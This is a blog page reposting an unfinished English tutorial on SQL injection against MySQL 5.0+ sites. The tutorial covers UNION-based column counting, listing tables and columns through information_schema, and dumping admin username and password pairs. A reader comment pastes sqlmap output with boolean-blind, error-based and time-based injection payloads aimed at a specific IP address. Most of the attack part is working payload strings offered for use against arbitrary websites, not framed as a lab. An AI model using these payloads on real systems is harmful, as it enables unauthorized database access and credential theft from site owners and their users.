[Injection]对MYSQL 5.0服务器以上版本注入

本文介绍了一种针对MySQL Server 5.0+版本的SQL注入攻击方法。通过逐步指导读者如何发现并利用网站上的SQL注入漏洞,包括定位易受攻击的位置、获取数据库版本信息、列出所有表名及列名,最终读取特定表中的数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

by ZaraByte

How to do a SQL Injection for MYSQL Server 5.0+

1. Find a vulnerable add a ‘ at the end of the site example: news.php?id=1 add a ‘ at the end of the 1 and see if you get a syntax error

2. order by #–

Keep upping the # until you get an error.

3. union all select 1,#,#,#,#,#–

Above 6 numbers if the site you have shows more then 6 or less then since you need to add or remove them

4. Find a column # that is showed from step 2 example if there are 5 columns shown you can pick column 2

5. concat_ws(0×3A,version(),@@version) in vulnerable column

add concat_ws(0×3A,version(),@@version) to a vulnerable column like column 2 see if it shows the SQL version if it don’t try adding a – before the php?id=-# and see if you get the version

Will show the version of the SQL Server recommended that it be 5.0

6. union all select 1,group_concat(table_name),#,#,#,# from information_schema.tables where table_schema=database()–

This selects all the the tables from the database.

7. Find a table your after like admin or like users or user whatever table you wanna see

8. union all select 1,group_concat(column_name),#,#,#,# from information_schema.columns where table_name=char(x)–

Replace x with the ASCII of table name You will need to convert Text to ASCII.

9. union all select 1,group_concat(table_name,0×3a,table_name)#,#,#,# from column_name–

Replace table_name with the table name your after the 0×3a is hex for “:” table_name would be replaced with the other table name yours after

so for example say you found a table named admin and you wanna see the username and password columns you’d do

union all select 1,group_concat(username,0×3a,password,0×3c62723e)#,#,#,# from table_name–
Basically its going to show the username 0×3a is hex for “:” then the password 0×3c62723e is hex for a “< br >” which breaks them down in displaying, be sure to change the table_name to the name of the table so say your going for admin change the table_name– to admin–

after that you will either get the username and password in plain text or it will be hashed.
just so you know change the # signs to the ammount of rows you get in Step 3 if you have 2 rows it should be 1,2 or you have 5 rows it should be 1,2,3,4,5 and so on.

Side note may need to add a – between like the thefilename.php?id=-#

So if a website has 5 rows you’d add all 5 rows the last number don’t add a “,”

Unfinished Tutorial Wrote by ZaraByte

 

D:\WpSystem\S-1-5-21-589763762-2765656899-3959673489-1001\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\sqlmap>python sqlmap.py -u http://223.112.5.141:64701/ --data "uname=1*&passwd=1"--dbs ___ __H__ ___ ___[(]_____ ___ ___ {1.9.1.2#dev} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:25:21 /2025-07-21/ custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y [15:25:23] [INFO] resuming back-end DBMS 'mysql' [15:25:23] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: uname=1') RLIKE (SELECT (CASE WHEN (1315=1315) THEN 1 ELSE 0x28 END))-- zswx&passwd=1 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: uname=1') AND (SELECT 9615 FROM(SELECT COUNT(*),CONCAT(0x71706a7171,(SELECT (ELT(9615=9615,1))),0x7170766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jjis&passwd=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=1') AND (SELECT 8466 FROM (SELECT(SLEEP(5)))PVEU)-- xERO&passwd=1 --- [15:25:23] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial) web application technology: Apache 2.4.18 back-end DBMS: MySQL >= 5.0 (MariaDB fork) [15:25:23] [INFO] fetched data logged to text files under 'C:\Users\xxxxxxxxxxxxxxxxxxxx\AppData\Local\sqlmap\output\223.112.5.141'什么意思
最新发布
07-22
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值